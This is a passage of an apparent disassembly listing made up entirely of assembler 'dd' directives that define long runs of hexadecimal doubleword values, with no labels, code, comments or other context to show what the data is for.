		dd 4047EF27h, 26B05930h, 0D32C2D58h, 81C0CC0Dh,	0E20CEC1h
		dd 842A403Eh, 0C1071742h, 2857E9F0h, 3E394F49h,	506F2C7Eh
		dd 695EFBB8h, 4BB8416h,	0B24173A3h, 7BB4843Ch, 7D7E8B40h
		dd 955A39h, 1A4CE231h, 0E5665031h, 0E3BEA942h, 0B69E47DCh
		dd 53508962h, 8032CCE1h, 0DF2DE86Dh, 943FC803h,	0F1DABB98h
		dd 9CE93F46h, 77EDF1F7h, 6270C973h, 201CB78h, 0D1E463ADh
		dd 51420168h, 72925D8h,	4F829FEh, 0B483B0EAh, 0B8FA84E6h
		dd 0AFC1F44Ch, 36622103h, 9168EED6h, 1B166BE9h,	62CDDFF4h
		dd 47A7A20h, 8101D132h,	0BB3AC2C9h, 0B8117075h,	0E0F1831Dh
		dd 0F61B7B6Ah, 14A84D3Bh, 0F663BE4Fh, 0FB7F4B01h, 8EBA7F53h
		dd 0DF6B2543h, 10CF8BA0h, 19F60F88h, 74B6D75Bh,	6514074Ch
		dd 5C2D8FFCh, 3D92AB76h, 455014Bh, 8DA825BCh, 0E8C096CBh
		dd 3B7BAAB8h, 25480A0Fh, 4209C5FEh, 73BEBFC8h, 0E92D0B84h
		dd 6864B0E2h, 27FAE595h, 2F90E657h, 2D652CEDh, 7635AF09h
		dd 0DAF1734Ah, 7A60B14Dh, 68D0310Bh, 0A92BB742h, 7D27FFF4h
		dd 0BB81AB17h, 42D81091h, 0C01B6A20h, 650EBA22h, 0B986135h
		dd 78B9EFF5h, 41412C29h, 9F06B08h, 8E846BAEh, 0D168D360h
		dd 1246373Eh, 0B3EA94E7h, 861E855Bh, 3A0136BAh,	0D756F8BFh
		dd 6213FF0Ch, 4A91E0F0h, 6670E282h, 0BF75C940h,	0BF479C4h
		dd 0E32D71CFh, 0D267E251h, 138674EAh, 0DE5AF288h, 5866C6C4h
		dd 441E35A8h, 0B4043BFEh, 0FA15E9D4h, 8CEBB113h, 65D3E379h
		dd 2D12E2BBh, 596D78BFh, 8584AA5Ch, 0A2CAEBE3h,	8ED6E34Fh
		dd 0C76B0C68h, 0B852401Ah, 0DFFAF40Bh, 41A956F7h, 76228568h
		dd 8387187Fh, 0CF26061Bh, 0E8D21E43h, 0DC5CC42Ah, 0DD04AF12h
		dd 80EDF5BEh, 0A14CEB07h, 0D0A5B503h, 889DB5C2h, 66202F98h
		dd 0E781009Bh, 619F3D5Ah, 5CBD5355h, 0B57CAFD6h, 5ED9A39h
		dd 20E7C0Dh, 92670FF9h,	759B927Fh, 0BFF0737Eh, 0B5C790F6h
		dd 28D5428h, 720F7EF9h,	0D04538C0h, 6923C4B7h, 515D47AAh
		dd 4C943DF7h, 0FFD6B8ADh, 0B15A2D38h, 4C5A52D7h, 9F2D1A20h
		dd 681610F8h, 6D625F1Dh, 5C8CCA53h, 6FF28243h, 4D4161ABh
		dd 525300FCh, 1C220A68h, 2784370Ah, 92D9867Eh, 0B547D734h
		dd 301FF158h, 0F6160C44h, 0EE680FB1h, 0BAA497C4h, 5A89FDF8h
		dd 0E91AE146h, 7E13355h, 75704C96h, 2852C129h, 9709BF57h
		dd 2950E20Bh, 0EB1F25BBh, 557614Bh, 0DB10CBBCh,	2DF74C08h
		dd 4F08DC32h, 8DF40D06h, 219CD778h, 0DE6C0469h,	16E4FAEh
		dd 0EC465E04h, 0A003B229h, 28342CDDh, 0DFD3FFE8h, 5D4F0C9h
		dd 567FA2B9h, 61F8202h,	50424DCh, 1BD11B2Eh, 0BB30B90Fh
		dd 0A2FB5041h, 8F59BBEh, 0B92CF653h, 0CD00552Fh, 6ED2BB5Dh
		dd 18FABF5Bh, 2FA95688h, 8058F63Dh, 0C9A77324h,	7F1C781h
		dd 294F4745h, 8548EEFh,	82FF5D2Fh, 0DF1D3586h, 0DCBD68E6h
		dd 0EE0C3524h, 4C8830E0h, 3EB64039h, 4BA55925h,	58CEBA69h
		dd 0B1D39D1Bh, 9720AD1Ch, 0DEA2D445h, 0DC68560Bh, 0A0F5CC60h
		dd 50275F2h, 0E94B311Dh, 0A4E7B8D8h, 0C25DADAFh, 7E6A17E9h
		dd 1DB6C26Ah
		dd 10FE985Dh, 0D3E98340h, 3B312E04h, 0BF006287h, 81E5828h
		dd 18CC5105h, 79C02615h, 0C2801EEAh, 5907CC92h,	4716BE2Ch
		dd 370E0A7Fh, 8609BFE6h, 3D940129h, 8521DE5Eh, 4A48DBEDh
		dd 3A681951h, 93C9B323h, 7108561Fh, 89F42535h, 0CD60C0DAh
		dd 7474BDE5h, 0A8BFED6Ch, 4A0FE9C2h, 0B86E38A5h, 2F4C2605h
		dd 0B5BA402Bh, 0B0436F71h, 0E8F4760Ch, 953743E9h, 1AA7A4A2h
		dd 83EE7F0Bh, 2783E49Fh, 11FE618Dh, 6902E048h, 0E60DD7Dh
		dd 3421FE92h, 0E8043896h, 5E7E8169h, 0E6406813h, 4BDD6ED0h
		dd 6396807Ah, 7A9F1045h, 5908818Fh, 387EA240h, 0E1DEE911h
		dd 86C416D5h, 13889033h, 0BB99734Ch, 1D1E8C80h,	3048776Ch
		dd 8D12DDF7h, 41603320h, 9EE6B164h, 0E921180Dh,	0CC1145Dh
		dd 39990318h, 0F79BC50Ch, 534EF9DFh, 9623BD3Bh,	8FD845FFh
		dd 0C20492F3h, 589280FDh, 2F68DEF7h, 0C89846EEh, 0EB173EDFh
		dd 1EB02115h, 2F7878BBh, 4BC2FAFFh, 73F24477h, 4F4958Bh
		dd 7DE5F7FAh, 795FF712h, 56CC884Bh, 0D4AC3ACBh,	482042ABh
		dd 56F90100h, 3AC9B7BEh, 73FD6E29h, 0D5F4AAD2h,	0B7EFB2BFh
		dd 1753D056h, 0A9FDE92Eh, 5DC61CF0h, 779A91C9h,	0FEA6D059h
		dd 97A7C42h, 2C568C09h,	0D861DD02h, 32DF871Dh, 6A152C42h
		dd 1DA3F682h, 0B3308B47h, 5140916Ah, 0ED280995h, 390FA277h
		dd 0A573380Ah, 95BC02EBh, 0A06E8C07h, 0C0476F01h, 0FAA4643Fh
		dd 0E9BFC418h, 2C12BCB4h, 5A790315h, 0F7B053D2h, 60B7E70h
		dd 5FB014Ah, 7D52C64Bh,	256894E4h, 0DF46145Ah, 0DB178009h
		dd 9E470031h, 2655292Fh, 1924E1C1h, 7E5924FFh, 90500288h
		dd 20D30F62h, 0B8B325C2h, 0CC9C07Fh, 0B0446A69h, 4E78097Ch
		dd 98045AAh, 8901A74Bh,	311991BFh, 0E17E1B21h, 41C52034h
		dd 7F6F5A9Dh, 2DF19D4Dh, 0F344974Eh, 5983F236h,	0F3027A48h
		dd 8126FCEEh, 4F64C7EDh, 27A16A76h, 1887856Eh, 2D2B2868h
		dd 113A97h, 950FCCB2h, 1CA89568h, 0FA581208h, 7DBE6564h
		dd 0A039206Ah, 2028A69Eh, 38072DA1h, 41985A58h,	4A4FFCF7h
		dd 5B0B43FAh, 0F085914Eh, 7C0CE338h, 105A8C45h,	126AF3E9h
		dd 7A79FA3Ch, 2C2AF96Ah, 8D27895Eh, 0E53AE030h,	0B250ECBEh
		dd 4F610BAh, 0FF479697h, 0FAC6CF2h, 0E5098B0h, 0CD3E0BA6h
		dd 6327A1B1h, 0CEFED4A6h, 200B4CC1h, 0D5F7003Dh, 4D61BA52h
		dd 0C8B566A0h, 7596E2F3h, 36255857h, 43695C20h,	2CCC07F4h
		dd 3DF8C28Dh, 0C82BEBF1h, 11D335F9h, 0C5A1F20h,	5864016Fh
		dd 0B956E105h, 0C53F30F3h, 254A85FCh, 0D43535CDh, 2F12F17Eh
		dd 0AED23EE3h, 0E90D94F7h, 3AA0B7C8h, 7077B08Ch, 3E7F976Ah
		dd 8CE91308h, 1070BDF0h, 0A350C298h, 4F2655F8h,	1E0D4C40h
		dd 0BE166B11h, 8BE88055h, 4E7CA159h, 3E70EA52h,	225B17C2h
		dd 42E53AA7h, 59C05D08h, 5995321Dh, 0A54AFAh, 0C728B8B0h
		dd 0F45168E9h, 0CA876EA7h, 64690FDEh, 1120E1Eh,	95CB5C2Bh
		dd 0DB806BFDh, 9D59CA09h, 859FF058h, 60BA01CBh,	8B789357h
		dd 2E0D197h, 47B16AA8h,	1D460880h, 9841E16h, 58F54248h
		dd 834C6CD7h, 1C10430Ch, 202CA578h, 0C680A03Ch,	9A24B719h
		dd 4BFFB994h, 5F562AFFh, 68537190h, 0D41C02FAh,	8DE6E935h
		dd 3DC49CEAh, 3E5EE3A1h, 0A490D109h, 0ACAA896Ah, 0F001C564h
		dd 0E96B98FBh, 0E21FB05Eh, 7B4E8925h, 4A3F01F9h, 0C5E919DEh
		dd 4F376A20h, 114CB04h,	8C173D00h, 0E5D14D07h, 745C49FCh
		dd 9B17DEACh, 14B366F0h, 0A6902C77h, 0D38AA14Eh, 6E35A9F9h
		dd 989716B2h, 280BCFB2h, 609D41h, 4F31C032h, 1C9BBF18h
		dd 1265D609h, 0CD4D0455h, 8E50A80h, 131F4EE9h, 0CBDE1D1Eh
		dd 7F25C88Eh, 95B7C4E8h, 90AB84Ch, 7E92B06Eh, 6E482F2Eh
		dd 5D8165AFh, 84A3BC6Fh, 0C8BAC93Ch, 616EB3Fh, 41AEFA29h
		dd 0E2754975h, 0D60C8352h, 0E0686977h, 417E1E6h, 0E4E931FEh
		dd 0E5B2EAB7h, 6944FF5Ah, 39EF7CCBh, 0BE901545h, 41CED438h
		dd 0FCA92AAFh, 0E8C3538h, 4D6E3AC3h, 9759F582h,	2278F14Bh
		dd 0E90880EDh, 858B95C9h, 624402DFh, 0FEAF6636h, 72094B4Ch
		dd 525D5125h, 26681898h, 0AA39F21h, 0CFBDA1B1h,	0E24ECDF2h
		dd 71E7C6DBh, 619B0FCDh, 0EC45EFB8h, 0B78CAAC1h, 3428457Dh
		dd 0A840DD36h, 86DE06B7h, 8D2F6D7h, 6E7C003h, 990EC780h
		dd 0BB3E04EFh, 74959005h, 2D07BCBDh, 696D5D23h,	5B3DB680h
		dd 7D9D7C63h, 17A15423h, 247D511h, 2D1F961Ch, 0B5A3A05Dh
		dd 0F0EB2811h, 33699859h, 5FA52EE9h, 0D0A32DB2h, 0E5D9D9BFh
		dd 6AD52178h, 0DDD49E24h, 9D46B4ABh, 4AB94CB7h,	0E08C13E8h
		dd 91AA2364h, 0F1F608CCh, 424ED69h, 17AEFA38h, 4EDF8A1Fh
		dd 6FC97DFCh, 0FB42FEA5h, 0B5EBF691h, 4B840704h, 0EA3BC43Ah
		dd 0BE3462A0h, 0CB8001A6h, 9DDBF623h, 0D35EF50Ah, 0F5A0F38Bh
		dd 0AA20F205h, 3BB2DC00h, 0BF98B551h, 0FE27EED4h, 0E92D5C37h
		dd 0B94C4072h, 623B2645h, 0B96A139Bh, 0D5C89A07h, 0AA823D6Eh
		dd 32F46CABh, 4E42CE00h, 0C1EF091Ah, 1E95D39h, 38EB2E6Ch
		dd 4E4ADDDAh, 0C05BE3A6h, 9F57EDAFh, 0A081465Eh, 0AC75F768h
		dd 0BF38FF30h, 14441C7Bh, 94145A0Bh, 268EFCBFh,	4E780492h
		dd 0BA9E812Ah, 17AF0522h, 6754EA07h, 74E7020h, 0FC07E4CDh
		dd 304486CAh, 6DEFE2D4h, 1FF89819h, 0F8DBE181h,	0BF76515Bh
		dd 4C6626D8h, 8620F21Dh, 0AB16F1F6h, 1BF480Ch, 4ADF1CDAh
		dd 2D9DDF5h, 2F03F6B2h,	49B39457h, 0B80175B0h, 7CD36D5h
		dd 0ED062F09h, 0BD9D016Ah, 0B99B8E8h, 0D243C925h, 0E90880ABh
		dd 46E2675Bh, 86D6B930h, 0FEF871E1h, 3EE0EF00h,	1153F09h
		dd 1FB5CFDh, 7FDB56E3h,	0C4E9E421h, 799D75BAh, 7C68E1B7h
		dd 0C2EC682Fh, 74FEEC4Eh, 0A0D5498Eh, 6E9D0589h, 29520A21h
		dd 28072DD8h, 0BC680F75h, 0EAB35C20h, 0D02BE98Ah, 1061A40Bh
		dd 0ACE9091Ch, 6F36FEBDh, 0EA5630CEh, 0E0800A2Dh, 48993786h
		dd 707E7C1h, 76E9CF87h,	0D732DD2Bh, 69E2F563h, 0F4B9DAC9h
		dd 0F0BD2F50h, 1BAA09E6h, 0E3C868BFh, 5134654Eh, 56AC1023h
		dd 125E360Ah, 601910C3h, 397A7878h, 0A322C54Fh,	0C581BE06h
		dd 446ACE68h, 0A1EFFE94h, 6DD6F191h, 0FD5D895Ah, 0E2F1DC3Ah
		dd 0DD05B9C9h, 0AE5E8538h, 810C5F68h, 0BE5D24B1h, 0C24DA10Bh
		dd 68CC0111h, 0A8300B41h, 5E9C40B9h, 3D83532Ch,	4B5B0100h
		dd 1D5CE381h, 813CC51Fh, 801D10F3h, 77AC2A20h, 0C0D4A8B4h
		dd 0EAE9C209h, 85809628h, 0C1D95DFAh, 7AB4DE80h, 4E8925A9h
		dd 0C981E1A0h, 762E364Dh, 0A16E464h, 58450F91h,	5583882Bh
		dd 1257594Ch, 0F3F43133h, 0C42C4B08h, 0C7C3025Ah, 89E24C0Ch
		dd 9470140h, 8037794Ah,	0BFACAEB4h, 5A765826h, 5A3A6E77h
		dd 2F94A81Ch, 5E1C555Ah, 0E35FE925h, 2CA49CA1h,	47E52D68h
		dd 0E9626A56h, 0BE467557h, 3EA55CBFh, 0E40DE013h, 7C6F347Bh
		dd 0E7A6418h, 0CAA56DB5h, 61008D55h, 9533A2E0h,	60EC537Bh
		dd 0CB01335Bh, 67022CA4h, 123B62C1h, 9D8B57FEh,	0BD9FBC5Fh
		dd 4AE92CB0h, 21108095h, 9D3C8BFAh, 0CF58CFDEh,	3C6895D7h
		dd 42049ABCh, 17E46889h, 0C64869F3h, 0F73A4904h, 4A81ACD9h
		dd 0ABA735AFh, 0BD85E224h, 16C6F506h, 0DA77040Ch, 0E9095DEBh
		dd 0D0E9174Ch, 6AC7A390h, 760FE013h, 82889801h,	0F7160208h
		dd 7B3A7D25h, 1E1D8974h, 89766905h, 0B227CE0Fh,	51579049h
		dd 0E6C395A9h, 3FEEBA0Bh
		dd 0E20FE9FEh, 2DA86110h, 7E3806E9h, 0B28FB400h, 0DAEA8079h
		dd 0ACB1511Fh, 76848BD5h, 251C0439h, 96FB0E64h,	0FDEE6464h
		dd 0A958DA27h, 93197BE8h, 0BAC384B6h, 700ED065h, 97C9B777h
		dd 8A8A227Bh, 0DC25DD7Ch, 17C07879h, 0C9899B95h, 0D93B7579h
		dd 604FE81Bh, 0C7636895h, 38A72778h, 0B02DD670h, 0C2BAD7A5h
		dd 0B0CF36FDh, 0E0F15DE7h, 3F4DCD1Eh, 84BB02AEh, 0FC546668h
		dd 25FAD806h, 46E91209h, 0BA7B784h, 663CC068h, 6AF90C8Ch
		dd 0AFAA6F82h, 4F2F69E8h, 87EAD621h, 64026E8Eh,	0AC178347h
		dd 525F0E31h, 31ED0A30h, 0A10EB2Eh, 559D7F08h, 33D65F32h
		dd 2E536416h, 0FC236A3h, 6052C8BEh, 0BF756BDh, 0D4DE7EB3h
		dd 0A5C0FE8Fh, 5AFC6A2Bh, 0EE2917DFh, 3687C031h, 4077D92Bh
		dd 7D5DBA51h, 1D826D48h, 32982E4Eh, 3E05910Ch, 0E70771F5h
		dd 890E1028h, 0B17E0305h, 828A3A95h, 7258E04Bh,	0F7EECABDh
		dd 0F2BD7B50h, 9067FCBDh, 78719F72h, 739025BDh,	5AFBAD01h
		dd 6C8CFA48h, 5ED83A3h,	41A87D96h, 0C5C18229h, 5E90881h
		dd 0AC5C3A13h, 0C25B1C10h, 0C758D851h, 0FC515A27h, 2C51CB02h
		dd 89F7D672h, 0BB5DD076h, 2DCED961h, 60E1B352h,	2E50520Fh
		dd 3CB554Ah, 0B18DFE7Ch, 8391FC24h, 765F2D40h, 78BA017Bh
		dd 3101557Ch, 0D4C12EF2h, 9954EB6Dh, 1A79ACEFh,	5F12E7A3h
		dd 5FCB68DEh, 0F02A8E63h, 0BD05D2A2h, 56FC3FA7h, 5B689BB0h
		dd 7C39F31Dh, 29FE91F2h, 755E7E25h, 864E3925h, 0E4A1D579h
		dd 30EDEF4h, 0FB5266CBh, 9CBE8558h, 5C9701A9h, 0A55752FEh
		dd 0E6ED28FEh, 88C34234h, 0FB4D93ADh, 64B05F45h, 43491765h
		dd 0BF1B5347h, 0BBD731B6h, 500BF749h, 0B753075Fh, 32FD885Bh
		dd 25F7DDF6h, 17B0E6C6h, 0B8514EB2h, 0D3281D39h, 1065C35Dh
		dd 0D6053888h, 51AFE426h, 0C173D49Dh, 6E56D668h, 5E13E54Bh
		dd 0FA104CFCh, 0E4655FB6h, 0AA5B12EBh, 0BC38906Dh, 2D5D54CFh
		dd 0B55E247Eh, 172C7EECh, 6C4065D2h, 204C7F67h,	883CF29h
		dd 53141C04h, 0CDFD6A33h, 4185D950h, 8BA46EA3h,	380839DBh
		dd 354A2D02h, 0A35834EDh, 68E90780h, 0F943414Eh, 3432568Bh
		dd 0C00B8F1Ch, 2B40E9A1h, 0A5B5D3B7h, 0E92D0F5Fh, 77FB6263h
		dd 0BA3CD4FEh, 84289708h, 0A2503E46h, 4BEF05D1h, 0C84C7A79h
		dd 65402964h, 55F10580h, 0C030E7B2h, 5E2C04Bh, 413DE926h
		dd 3EAC187h, 0DF3C0B8Eh, 71A18BCEh, 25188F57h, 17AB4256h
		dd 97C8F740h, 0FB122F73h, 6A382942h, 264C2568h,	0F163E4D4h
		dd 4A588970h, 972E22Eh,	80332F9Bh, 0E919EAA1h, 31BC12C7h
		dd 124708D3h, 4903C024h, 9323879h, 27B17EEBh, 39D40B81h
		dd 0C057DA65h, 8353FF1Ah, 102363E0h, 4AD574Ch, 446BF0B4h
		dd 0E0BF16EEh, 0ECBF319Ch, 278097A8h, 0FEE63AE9h, 791138B5h
		dd 0DCB89F0Ah, 0DCB8D701h, 0BDEA5520h, 5B5BAA6Ch, 94942EF2h
		dd 0BF5FB612h, 97018F8Eh, 0E92BA867h, 31DE5177h, 3A8B2BD6h
		dd 23727615h, 9525FD9Eh, 0DDFC125Dh, 0C2B6E6ADh, 2F8BDA10h
		dd 92D75A0Ah, 3F5641E9h, 1CF74BA5h, 0F8211302h,	9E44BB5Fh
		dd 116FB7Ch, 5DE92884h,	90D768FCh, 6FF404D9h, 968139FBh
		dd 23FC1156h, 0E9E709D1h, 8C295974h, 0E4CE7402h, 0B524E70Ah
		dd 30BEAF17h, 7C3ABBC7h, 0B0BF0B71h, 823E13ADh,	0F782C3D5h
		dd 0BE6F7130h, 2BFE976Eh, 28D69108h, 3038F019h,	0B98C2A5Ch
		dd 0EE32443Bh, 7F2DD001h, 0E8A59EFBh, 0C35E36C9h, 59A1C143h
		dd 53511E1Dh, 0F3875B41h, 0D430D6F7h, 67019440h, 0D843A1BBh
		dd 0E0F7C69h, 0FE3B4785h, 51E30ECCh, 7DBD16EEh,	6D94BAFAh
		dd 5A57F388h, 0E525AF67h, 52A2E041h, 0C2E4BEB2h, 1FD1E022h
		dd 0A4C9FE5Ah, 497D39F4h, 0D93DE01h, 2A6DC446h,	3CA88257h
		dd 15868F14h, 0A206C4h,	7F78A868h, 0E53D9812h, 0E78F852Eh
		dd 6E00D2EEh, 157B46FDh, 0BF9642Dh, 8020BB01h, 0C043D0E9h
		dd 0F803C38Dh, 0F9F7FA39h, 6516A50Ch, 9AFF2549h, 9C174F7h
		dd 0A69054DAh, 0CC123DC9h, 6F050D73h, 1CBF69B0h, 7044308h
		dd 2EB02B1Ch, 7100EC3Fh, 0F09EB951h, 0A291374h,	0E56EE9C8h
		dd 9256E581h, 93DE297Bh, 170B752Fh, 762E4E59h, 86300192h
		dd 0A894E0E9h, 927E439Dh, 6C5A5D4Ch, 0D84FBE02h, 5E77400Dh
		dd 0A76887F4h, 0C5F70916h, 16874427h, 0A0EA2B04h, 0C7209112h
		dd 7DE2960h, 73975CB5h,	0BF8D6FB6h, 0CF057464h,	56302D3Eh
		dd 27816987h, 0A16A0A12h, 10E22A07h, 0D14FC148h, 0D16855E4h
		dd 8F7F2819h, 4B072752h, 76C12E04h, 367E5460h, 1C0620CBh
		dd 5A29313Ah, 0E7F2BDC0h, 174FE919h, 4BCD293h, 3FBFC598h
		dd 5E5A2447h, 0FD3D96C2h, 0D9E62066h, 752FA7BEh, 60959716h
		dd 820A8E6Ch, 237FD70Bh, 0EAEE29E1h, 446BCA12h,	658B2154h
		dd 0F70BF9A1h, 0BF127AC1h, 7E06D282h, 5A826B59h, 0F7582D38h
		dd 0B0152F27h, 0EBE911A2h, 842FB441h, 2880E0DCh, 311A1E7Fh
		dd 642E5EF3h, 4850B5C6h, 0D9FC2D2Dh, 0C26841B9h, 0C5B27B02h
		dd 0BCF85B8Bh, 7745BD07h, 26A66F3Ah, 0C101262Bh, 1B120247h
		dd 8584797Fh, 0FAEF402Fh, 763CC449h, 0A4681301h, 13DCF30Ch
		dd 5431D492h, 1C305456h, 351B96Bh, 4F2E4D9Ch, 240B19D9h
		dd 6D70F36Ch, 51D1FCB7h, 489978ECh, 0F8602D9h, 8B5E08E0h
		dd 59DA61F2h, 0E131E8F0h, 1F28FA2Bh, 59EFB0D1h,	0F22857EAh
		dd 1F3BEE9Bh, 961D7F31h, 0E50DE4A6h, 0D44E4DB0h, 7BECE09Dh
		dd 893FBEF9h, 5D73169Dh, 82CC92BDh, 4BC567BCh, 0D339BB06h
		dd 88DF9E30h, 0FF952DD8h, 108B6922h, 562D6C51h,	48C15884h
		dd 5DEB9FCBh, 22F75FC2h, 0DF38DD0Dh, 0E97AFC6Ch, 33AAA54Eh
		dd 1FB688Ah, 40374F38h,	0CACAA05Bh, 14DC0342h, 9C561D2Dh
		dd 0ECA935F8h, 1DD3F0Bh, 7F107DC3h, 0B392D731h,	24B23D20h
		dd 12F9A0BFh, 80520050h, 0E94EDD15h, 0F1645F3Fh, 55954ABAh
		dd 0E914A134h, 2DB2E5FAh, 6B75DC58h, 227A7A0Eh,	0E3135474h
		dd 8332A20Ah, 2DA4CE81h, 0A06F35B5h, 0E0908D4h,	623EE917h
		dd 83E1F660h, 747968D1h, 73756B26h, 0B4FBA81h, 4D304D83h
		dd 9C4818EDh, 5AE80C18h, 0E256FD61h, 20C17549h,	0DB041889h
		dd 474C4A5Dh, 466804A2h, 0E06BCD29h, 0F7915780h, 0E24C589Eh
		dd 40208B1Fh, 5EBF2D0Fh, 8A1A3D6Eh, 8D60BCE3h, 53819701h
		dd 3FDC7E21h, 5E0E02DEh, 4606EEC1h, 50AA8A63h, 82E930A1h
		dd 0DD863428h, 0B3C28DEEh, 0C1B2C580h, 68002A1Ah, 7E007D67h
		dd 0E7815F6Ah, 4BC9163Eh, 10C1AD15h, 0BA026BD0h, 7852D71h
		dd 7296808Ch, 0FA294502h, 0DEC3E956h, 20DD272Bh, 6C774284h
		dd 0BC029D09h, 0AEF52BFDh, 95C6E59Dh, 1A448AFBh, 55F0E84Eh
		dd 6C4BCA1Bh, 0B9E93A43h, 4A3828F8h, 583700C8h,	6842357Ch
		dd 0E0BB302Bh, 70183803h, 58401E31h, 0EB49D64Eh, 12087050h
		dd 8FB07EE9h, 0F13BF7B5h, 0F0B56103h, 18C0CFBBh, 626C17BEh
		dd 5E44B744h, 5CF68102h, 78A1C732h, 0BA64C006h,	89C49FE8h
		dd 0FA9893B8h, 121DC79Fh, 84C1E97Ah, 8905A48Bh,	4194F9h
		dd 461BEDC3h, 0CC00F8Ah, 0F57E120Ch, 0A5099D55h, 0E9CA2157h
		dd 0B73DBF2Ah, 4909FB4Eh, 0C9967459h, 17B98A84h, 0A00981BDh
		dd 8F04B271h, 2599B8D8h, 87DF2159h, 82414722h, 292F7B70h
		dd 17B0F0E0h, 45A87EE1h, 0EB8640B5h, 67CC1A20h,	0EEC4294Eh
		dd 0CCAA0812h, 0C7BFDBBh, 295E4A16h, 4153621Ah,	0D83FA26Eh
		dd 554C20A5h, 1168C21Fh
		dd 0AD464Bh, 8885B353h,	0C3285BD8h, 152583Dh, 0EF807BB7h
		dd 0FCF95047h, 5BF5E6C9h, 0DE5F876Eh, 0CEFE1C62h, 98F561h
		dd 0E11A9668h, 9721BD7Ah, 27AB8ABBh, 7A975EE8h,	13D1E568h
		dd 0BB291A01h, 0D6E5ED2Dh, 0F233D43Fh, 0F4E9F065h, 73939516h
		dd 355239C1h, 4CC96EBBh, 90C14747h, 0F1F0E04Ah,	0FFCEFE5Eh
		dd 853B9621h, 0CE8DAFE7h, 0EAF4162Eh, 0E4ECFE61h, 3E03102Dh
		dd 218AB703h, 0D4244A7Eh, 0BDC2579Fh, 0CD510B6Fh, 9CEB8080h
		dd 0EC4CB151h, 387779C9h, 0C82720F1h, 6120F9ECh, 5EA6B0BBh
		dd 45816E8h, 0EA756608h, 9948748Bh, 13192F2Fh, 334DC02Eh
		dd 84BC590h, 0E3188509h, 0C2F9BAEDh, 983D6E2h, 7055B951h
		dd 1648B5EBh, 7EFDF811h, 5B5C4B78h, 0D365ED52h,	0CCB537C0h
		dd 8DF53980h, 89F3E59Dh, 2E0770EDh, 4BEF27F8h, 0A1FA82FDh
		dd 5AAC0F43h, 0B5419010h, 6F6DA16Ah, 0EC6043E1h, 0D9609F6Eh
		dd 91E4EABBh, 9089A2B0h, 43F16B45h, 0EF76642Ah,	7EEE9D81h
		dd 0B00EF05h, 2127BE9Ah, 9267FADEh, 0F9C5BDD8h,	0A11856ACh
		dd 3E3AF11Fh, 0FE5A9C20h, 0DFC6D109h, 9411B62h,	0AA3C0755h
		dd 0A4271361h, 2282BB35h, 24F257EEh, 0A3ABC730h, 5AAC79DFh
		dd 0A12E8570h, 0E9B24155h, 22B280Ch, 0DF159BB9h, 0B5EBD737h
		dd 3AE69CF1h, 0EFB71DACh, 0E4F6D5EBh, 90BF372h,	66D421EAh
		dd 1EEF5752h, 1D1C8921h, 0B9C24A22h, 0CE13501Eh, 31099C94h
		dd 7B0E56CBh, 3D246291h, 5988C956h, 97B063A7h, 8841F8B2h
		dd 0C259D12Ch, 0F5821543h, 60A52241h, 54BD15F5h, 0E7CC49E8h
		dd 0C504F695h, 888F4709h, 0E0A975DAh, 0E11886DCh, 8008D4F6h
		dd 2F407EC1h, 3B9838B3h, 0FF911495h, 0E3BA5F92h, 0DDE854Ch
		dd 2F77E0FDh, 9B71B6BFh, 0B4B1A297h, 1E35822Eh,	5927EA44h
		dd 0D991F593h, 482678BCh, 89B55B6Fh, 0D4425021h, 0ECFD602h
		dd 328F64C3h, 0C8DC0525h, 205B1B77h, 252A1F9Dh,	0FEDFBEEEh
		dd 5080DA42h, 7F5632B8h, 0D2054802h, 77B780A9h,	63938476h
		dd 0DCB21A81h, 4B6A97DDh, 205BE374h, 49E0F312h,	0B8F8ECD8h
		dd 0DCF13705h, 59CBF20Dh, 0D96B5576h, 0B8EEC82h, 35E51B17h
		dd 154C10D0h, 685D0B06h, 0B4237BD2h, 9600DDA1h,	2D2CFCB0h
		dd 0B8301C34h, 2EAEB767h, 0BC28E664h, 0E92B4CBCh, 92E92D8Ch
		dd 0D00FBE1Bh, 442F991Dh, 52EA03ADh, 0AAB1FBF7h, 4801DA3Ah
		dd 726E84EBh, 71F68809h, 20CA5008h, 0AD1959ADh,	22DCF75Eh
		dd 0DB0B1214h, 0A45031FEh, 0A1316CA2h, 6D33DE6Bh, 5D4C9E42h
		dd 0FB3EDA35h, 0D87E2589h, 0EDC9F7F6h, 0AF31D51Ch, 24FC6F05h
		dd 0FDF9575h, 0E1BB5260h, 0BCC7446Ah, 3CBF4E8Eh, 0D96FE81Eh
		dd 79E6A193h, 8DEC3339h, 377C9759h, 9105E42h, 0F0E6C98Fh
		dd 0B8170E44h, 0D40314A6h, 8A586CBEh, 98025DB3h, 9156D2E9h
		dd 0B4FE5B12h, 0EB5E6BD6h, 0BFC642BFh, 3E433A22h, 151BACD8h
		dd 57A0284Ah, 5A08A1C3h, 17AA506Eh, 0F2847E64h,	84824883h
		dd 72E7E242h, 4CD5301Fh, 0C31B94F7h, 49FE7C90h,	0C39CD7EDh
		dd 800C7AE2h, 0B85970B8h, 2B6041AFh, 688236ADh,	967D1139h
		dd 88F0B511h, 2599D3BFh, 67458FD4h, 0BEE511FAh,	1385CB4Bh
		dd 0DBF1E1ADh, 0F5B32Bh, 1977BD55h, 581536Ah, 0EE1774CDh
		dd 76A0AE2Fh, 0E783E6EDh, 57E9D26Ah, 0EF2C6D69h, 0D8819893h
		dd 8197D304h, 7F6F7968h, 0AC924FF6h, 4782B5CFh,	6411D590h
		dd 17FE2AC1h, 4E05FB22h, 38FF0AE2h, 430ABB88h, 0B315392Fh
		dd 0E9550A01h, 88B574Ch, 67CD352h, 0C9517EE9h, 54999A02h
		dd 106F609h, 6526A735h,	55BC7043h, 5B815A80h, 0D3275301h
		dd 9A255876h, 7D4C8FE8h, 0A0F2F189h, 0EA815BEAh, 0D17816B3h
		dd 9650BA2Bh, 74582508h, 4257968Ah, 0C8B70F03h,	9B7E19C2h
		dd 0BBF9B917h, 573EC259h, 0B2783782h, 0D9D7550Bh, 488990E0h
		dd 2E9F058Fh, 12BF3E77h, 6743FDDBh, 9C738109h, 0E9F0D839h
		dd 0A2405F38h, 713489D2h, 396C8B05h, 0DA923B57h, 86D4AC43h
		dd 9B3D137Bh, 0D094811Ah, 0B6520006h, 3C042FABh, 5AE8C550h
		dd 660430E6h, 28A3B353h, 0C8C4D1BBh, 8341E204h,	67AB2F25h
		dd 0FE72B21Ah, 955F5157h, 6809E8C0h, 347D4E8Ch,	83535E58h
		dd 2F1019A0h, 5E581CCFh, 0E8D40E25h, 948B55E4h,	0A1CB902h
		dd 46412A62h, 69A7FC4Bh, 4B90C9ECh, 0F005A02Dh,	1EBE996h
